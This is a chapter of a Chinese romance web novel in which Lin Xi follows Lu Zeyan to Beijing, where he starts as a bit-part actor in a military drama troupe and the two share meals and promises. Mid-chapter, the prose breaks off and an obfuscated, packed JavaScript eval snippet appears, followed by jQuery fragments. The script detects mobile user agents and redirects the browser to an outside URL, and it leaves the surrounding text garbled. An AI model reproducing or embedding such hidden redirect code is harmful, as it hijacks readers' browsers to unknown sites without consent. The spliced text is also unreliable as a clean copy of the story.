寒风掠过，吹动了林溪耳边的发丝，她下意识地伸手拢了拢，却依旧挡不住心底涌上的波澜。她低头看着手中的火车票，年十六，这个日期仿佛成了某种分界线，将过去与未来清晰地划开。


    “回去吧，别着凉了。”陆泽言打破了短暂的沉默，语气温柔而关切。他帮她重新整理了一下大衣的领口，确保她不会被寒风侵袭。


    林溪点点头，却没有立刻转身离开。她看着他，忽然觉得眼前的这个人，比任何时候都更加真实，也更加重要。“泽言，谢谢你。”她的声音带着一种说不出的情感，像是感激，又像是某种更深的承诺。


    陆泽言愣了一下，随即笑了起来，笑容里带着几分羞涩与满足。“傻丫头，跟我还说谢谢？”他说完，转身迈开步子，背影很快消失在街角的阴影中。


    林溪站在原地，直到他的身影完全看不见了，才缓缓转身回屋。推开家门时，客厅里的热闹气息扑面而来，桌上的年糕依旧冒着热气，红灯笼的光影在墙上摇曳，仿佛一切都未曾改变。


    年初三那天，林浩果然带着糖葫芦回来了。红亮亮的山楂裹着晶莹的糖衣，像串小小的红灯笼，他把糖葫芦往林溪手里塞。


    沈曼青端着瓜子从屋里出来，笑着打圆场：“你们公司今年怎么放假这么晚？”她往林浩手里塞了块糖糕，“你也老大不小了，该找个对象了，别总让我们操心。”


    林浩听到沈曼青的催婚，一脸无尽可奈何。“公司忙，没时间。”他顿了顿，突然看向林溪，“你回京城那天，我送你们去车站吧，正好我也要回公司。”


    站台上的风很大，吹得人眼睛发酸。李婷和赵磊提着大包小包的零食，赵磊的运动服上还沾着爆米花的碎屑。


    “到了京城给我们打电话！”李婷往林溪手里塞了个布偶，是用袜子做的小钢琴，“想我们了就看看它，像我在你身边。”


    赵磊突然把篮球往陆泽言怀里塞：“这个给你，京城没有我们陪你打球，你自己练练，别到时候被话剧团的人比下去！”他的声音有点哽咽，却还强装笑脸，“等放暑假，我们去京城看你演出！”


    火车开动的瞬间，林溪看见李婷和赵磊在站台上挥手，身影越来越小，像两颗逐渐模糊的星。她突然想起散伙饭那天，他们也是这样在巷口挥手，说“我们会再见的”，原来有些约定，真的会在时光里慢慢实现。


    林浩坐在靠窗的位置，看着窗外飞逝的风景，突然开口：“在京城好好照顾自己，学习也要有个度。”他的语气里带着点不易察觉的关心，“要是缺钱了，跟我说，别委屈自己。”


    林溪点点头，目光落在陆泽言的手背上。在出发前，林溪找出了这几年存压岁钱的存钱罐，给话剧团的张干事打了个电话。她用这些钱替陆泽言付了两年的学费，还特意嘱咐张干事不要和陆泽言说。


    火车继续向前行驶，窗外的景色从熟悉的小镇逐渐变成了陌生的城市轮廓。高楼大厦的剪影在夕阳下显得格外壮观，仿佛在向他们招手。林溪深吸了一口气，试图平复内心的激动与忐忑。她知道，从现在开始，陆泽言的影帝之路就要开始了。


    年十六的京城还浸在残年的甜香里，军区话剧团门口的白杨树举着红灯笼，风一吹，流苏扫过灰墙，簌簌落着金粉似的阳光。陆泽言背着洗得发白的帆布包站在传达室旁，草绿色作训服的领口系得一丝不苟，喉结在紧抿的唇线下轻轻滚动。


    “新来的？”传达室的大爷掀开门帘探出头，军绿色搪瓷缸里的茉莉花茶冒着热气，在冷空气中蜷成朵白梅。他上下打量着陆泽言，目光在他洗得发亮的解放鞋上顿了顿，“导演在排练厅等你呢，进去右拐第三个门，听见声儿就找着了。”


    陆泽言攥紧帆布包的带子，指节泛白。帆布包带早就磨出了毛边，他踩着满地炮仗碎屑往里走，鞋底碾过未燃尽的红纸屑，发出细碎的声响，混着远处隐约的锣鼓声，像在敲他七上八下的心跳。


    排练厅的门虚掩着，里头的声浪差点掀翻他的耳膜。穿藏青色戏服的“杨子荣”正站在舞台中央，声如洪钟地念着台词：“今日痛饮庆功酒，壮志未酬誓不休——”尾音刚落，屋顶的灰尘就簌簌往下掉，在阳光里划出千万道金线。


    “小陆来了？”穿灰色中山装的导演从道具堆里转过身，手里还攥着半截红绸，“过来认识下大家，这是咱们团新来的年轻同志，陆泽言。”


    演员们纷纷停下手里的活计。穿旗袍的“阿庆嫂”正对着镜子描眉，眉笔在眼角勾出个漂亮的弧度；戴髯口的“胡传魁”蹲在地上绑护膝，绑带勒得小腿肌肉鼓鼓的；还有个穿家丁服的小伙子冲他咧嘴笑，露出颗小虎牙：“又来个打杂的？咱们这‘家丁班’可算添新人了。”


    陆泽言的耳尖腾地红了。他刚想鞠躬问好，就被个穿月白戏服的女演员拦住。她手里拎着件灰扑扑的褂子，布料粗糙得像砂纸，领口还沾着点暗红的颜料，是昨天排练“劫法场”时蹭的血污。“先试试这个，”她的语气带着点过来人式的调侃，指尖在褂子下摆的破洞上绕了圈，“就两句台词，‘来了来了’和‘是，老爷’。新人都这样，慢慢熬，熬出头就能穿绸子了。”


    陆泽言接过褂子时，指尖触到布料上的硬棱。他把褂子往身上比了比，袖口短了半截，露出细瘦的手腕，骨节分明得像玉雕的。可不知怎的，这件比青溪镇供销社的处理品还不如的旧衣服，攥在手里竟比任何名牌都让他心头发烫。


    排练从午后持续到黄昏。陆泽言跟着“家丁班”在舞台两侧来回走位，喊了不下五十遍“来了来了”，嗓子干得像吞了砂纸。有次他走快了半步，撞到“胡传魁”的道具枪，枪头的红缨扫过他的脸颊，划得皮肤发烫。导演在台下喊“重来”时，他看到镜子里的自己，灰头土脸的像只刚从灶膛里钻出来的猫，忍不住有点泄气。


    “歇会儿吧。”穿月白戏服的女演员递来缸凉茶，“新人都这样，我刚来的时候，连‘啊’都喊不对调门，被导演骂得躲在后台哭。”她指着窗外，“你看那白杨树，刚栽的时候不也歪歪扭扭的？现在不照样直插云天？”


    陆泽言顺着她指的方向望去，夕阳正给白杨树镀上金边，昨天还亮闪闪的红灯笼，此刻像颗颗熟透的山楂，坠在枝头晃悠。他抿了口凉茶，苦味在舌尖漫开时。


    周末的排练厅难得清静。陆泽言正蹲在地上给道具枪上油，忽然听见门口有轻微的响动。他抬头时，林溪抱着个蓝布保温桶，站在逆光里，帆布书包的带子斜斜挎在肩上，像株刚从青溪镇挪过来的玉兰，带着点怯生生的清甜。


    “你怎么来了？”他慌忙站起身，手忙脚乱地在作训服上擦了擦油迹，指腹蹭过布料的纹路，有点痒。


    林溪把保温桶往他怀里送，热气从桶盖缝隙里钻出来，裹着排骨的香气扑了他满脸：“我来给你送点汤。”她的目光落在他袖口的油渍上，突然从帆布包里掏出块手帕，“你看你，又把自己弄得脏兮兮的。”


    “我给你腾个座。”他拎起墙角的木箱，往观众席拖时，木板刮过水泥地，发出刺耳的声响。林溪却没介意，安安静静地坐在木箱上，抱着膝盖看他排练。阳光透过高窗落在她发顶，镀了层金边，像幅被岁月温柔过的画。


    陆泽言的心跳突然变得不规律。喊“来了来了”时，声音比平时高了半个调；弯腰给“老爷”请安时，差点撞到道具桌。他偷瞄观众席，林溪正低头研究手里的保温桶，手指在蓝布上划着圈。


    排练结束的哨声响起时，暮色已经漫进排练厅。陆泽言擦了擦额头的汗，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247608|180507||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    快步走到林溪身边，军绿色毛巾搭在肩上，水珠顺着锁骨往下滑，落进作训服的领口。“等很久了吧？”他的声音里带着点不易察觉的歉意，还有藏不住的欢喜，像揣了颗糖在口袋里。


    “没多久。”林溪打开保温桶，热气腾地涌上来，在冷空气中凝成片白雾。排骨炖得酥烂，藕块粉粉糯糯的，汤面上浮着层浅黄的油花。“快趁热喝，凉了就不好喝了。”


    陆泽言低头闻了闻，眼睛弯成了月牙。“真香，比食堂的白菜汤好喝多了。”他接过保温桶，却没急着喝，而是从帆布包里翻出个油纸包，小心翼翼地打开。里面躺着两个白面馒头，是他今早从食堂领的，还带着点温热。


    “要不要等会儿一起吃？”他的指尖捏着馒头，有点不好意思地搓了搓，“我妈说，馒头蘸汤吃，比肉还香。”


    林溪忍不住笑了，眼角的梨涡盛着夕阳的余光：“你还这么喜欢吃馒头呢。”她想起高三刚开学那几天，他总在自己一个人在食堂啃馒头。


    暮色渐渐浓了，排练厅的灯泡亮起来，昏黄的光落在他们交握的保温桶上，像盖了层柔软的毯子。陆泽言吃得很急，被烫得直哈气，却还是把最大块的排骨夹给她；林溪小口小口地啃着馒头，听他讲排练时的趣事。


    话剧团门口的馄饨铺生意很好，木质招牌被风吹得褪了色，“张记馄饨”四个字遒劲有力。傍晚六点，铺子刚支起煤炉，蓝灰色的烟就顺着树杈往上爬。


    林溪和陆泽言坐在最里侧的桌子，桌面有道浅浅的裂痕。陆泽言的作训服还没来得及换，袖口沾着点浆糊，是下午排《智取威虎山》时粘胡子蹭的，林溪正用纸巾一点点擦。


    “这家的虾仁馄饨跟青溪镇的一样鲜。”林溪舀起个馄饨往嘴里送，烫得轻轻吐舌头，睫毛上沾着热气凝成的小水珠。


    陆泽言往她碗里加了勺醋，玻璃醋瓶在桌上磕出轻响。馄饨铺的老式电视机挂在墙角，屏幕边缘泛着淡淡的黄，正放着《还珠格格》。小燕子咋咋呼呼地说“山无棱，天地合”时，林溪突然指着屏幕笑：“你看尔康和紫薇，是不是跟我们很像？”她的筷子在碗里戳着馄饨，虾籽混着汤汁溅在鼻尖。


    陆泽言的耳尖红得能滴出血，往她手里塞了张纸巾。“别瞎说。”


    “说真的，”林溪的指尖在碗沿上划着圈，汤汁在木桌上洇出小小的圆，“等你演主角了，我给你写主题曲。”她突然压低声音，像分享个天大的秘密，“就用《春之序曲》的旋律，加段军鼓，像你踢正步的声音，‘咚咚咚’的，特别有劲儿。”


    陆泽言的喉结滚了滚，往她碗里夹了个馄饨，虾仁的红在清汤里像朵小小的花。“好，一言为定。”


    电视里的紫薇正哭着说“你是风儿我是沙”，林溪突然笑出声，指着陆泽言的作训服：“你看你这衣服，跟尔康的盔甲似的，就是少了点金边。”她伸手拽了拽他的领口，指尖触到他颈后的皮肤，像触到块温热的玉，碗里的馄饨汤晃出细碎的涟漪。


    老板端着两碟小菜走过来，搪瓷盘在桌上磕出轻响。“俩孩子处对象呢？”


    “嗯，”他的声音比平时低些，“我女朋友。”


    老板闻言笑了起来，脸上的皱纹挤在一起，“年轻人好啊，有奔头。”他把小菜往桌上一放，转身又去忙别的了。


    林溪低头喝汤，耳根悄悄泛红。她用筷子拨弄着碗里的馄饨，故意避开陆泽言的目光，却听见他轻咳了一声，语气里带着一丝紧张：“等我演主角的时候，你可一定要来看。”


    “当然会看。”林溪抬起头，眼神坚定得像在许下一个重要的承诺，“每一场都看，还要坐在第一排，拿着望远镜看你。”她说完，自己先笑了起来，嘴角的梨涡浅浅地陷进去，像是盛满了冬日的暖阳。